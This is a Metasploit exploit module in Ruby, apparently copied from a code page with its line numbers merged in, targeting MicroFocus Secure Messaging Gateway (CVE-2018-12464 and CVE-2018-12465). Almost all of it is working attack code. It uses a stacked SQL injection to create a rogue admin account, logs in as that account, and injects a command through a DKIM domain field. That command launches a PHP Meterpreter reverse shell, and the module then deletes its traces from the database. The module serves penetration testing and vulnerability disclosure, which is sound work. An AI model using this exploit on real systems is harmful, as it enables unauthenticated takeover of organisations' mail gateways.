1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "MicroFocus Secure Messaging Gateway Remote Code Execution", 'Description'=> %q{ This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway. An unauthenticated user can execute a terminal command under the context of the web user. One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding, which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system. manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having a valid session. Combining these vulnerabilities gives the opportunity execute operation system commands under the context of the web user. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'], ['CVE', '2018-12464'], ['CVE', '2018-12465'], ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'], ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133'] ], 'DefaultOptions'=> { 'Payload' => 'php/meterpreter/reverse_tcp', 'Encoder' => 'php/base64' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [[ 'Automatic', { }]], 'Privileged' => false, 'DisclosureDate' => "Jun 19 2018", 'DefaultTarget'=> 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ] ) end def execute_query(query) # # We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques # but since we are able to use stacked-query approach, following form of payload is required in order to be able # get back the output of query ! # r = rand_text_alphanumeric(3 + rand(3)) sql = r sql << "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine " sql << "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine " sql << "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; " sql << query sql << "; -- " sql << r send_request_cgi( 'method'=> 'POST', 'uri' =>normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'), 'vars_post' => { 'appkey' => r } ) end def something_went_wrong fail_with Failure::Unknown, 'Something went wrong' end def check r = rand_text_numeric(15..35) res = execute_query("SELECT #{r}") unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 && res.body.include?(r) return CheckCode::Safe end CheckCode::Vulnerable end def implant_payload(cookie) print_status('Creating a domain record with a malformed DKIM data') p = [ { :id => 'temp_0', :Description => rand_text_alpha(5), :DkimList => [ { :Domain => "$(php -r '#{payload.encoded}')", :Selector => '', :TempId => 'tempDkim_1' } ] } ].to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'), 'cookie' => cookie, 'vars_get' => { 'cache' => 0, }, 'vars_post' => { 'StateData' => '[{"ouid":1}]', 'SaveData' => p } }) if res && res.code == 200 && res.body.include?('DbNodeId') # Defining as global variable since we need to access them later within clean up function. begin @domainid= JSON.parse(res.body)['Nodes'][0]['DbNodeId'] @dkimid= JSON.parse(res.body)['Nodes'][1]['DbNodeId'] rescue => e fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}" end print_good('Payload is successfully implanted') else something_went_wrong end end def create_user # We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection # issue location where requires a valid session ! print_status('Creating a user with appropriate privileges') # Defining as global variable since we need to access them later within clean up function. @username = rand_text_alpha_lower(5..25) @userid = rand_text_numeric(6..8) query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)" execute_query(query) res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'") if res && res.code == 200 && res.body.include?(@username) print_good("User successfully created. Username : #{@username}") else something_went_wrong end end def login print_status("Authenticating with created user") res = send_request_cgi( 'method'=> 'POST', 'uri' =>normalize_uri(target_uri.path, 'security', 'securitygate.php'), 'vars_post' => { 'username' => @username, 'password' => rand_text_alpha_lower(5..25), 'passwordmandatory' => rand_text_alpha_lower(5..25), 'LimitInterfaceId' => 1 } ) if res && res.code == 200 && res.body.include?('/ui/default/index.php') print_good('Successfully authenticated') cookie = res.get_cookies else something_went_wrong end cookie end def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable' end create_user cookie = login implant_payload(cookie) print_status('Triggering an implanted payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'), 'cookie' => cookie, 'vars_get' => { 'cache' => 0, }, 'vars_post' => { 'DkimRecordId' => @dkimid } }) end def on_new_session(session) print_status('Cleaning up...') cmd = "" cmd << 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "' cmd << "DELETE FROM account WHERE loginname ='#{@username}';" cmd << "DELETE FROM UserRole WHERE idaccount = #{@userid};" cmd << "DELETE FROM Domain WHERE iddomain = #{@domainid};" cmd << "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};" cmd << '"' session.shell_command_token(cmd) end end |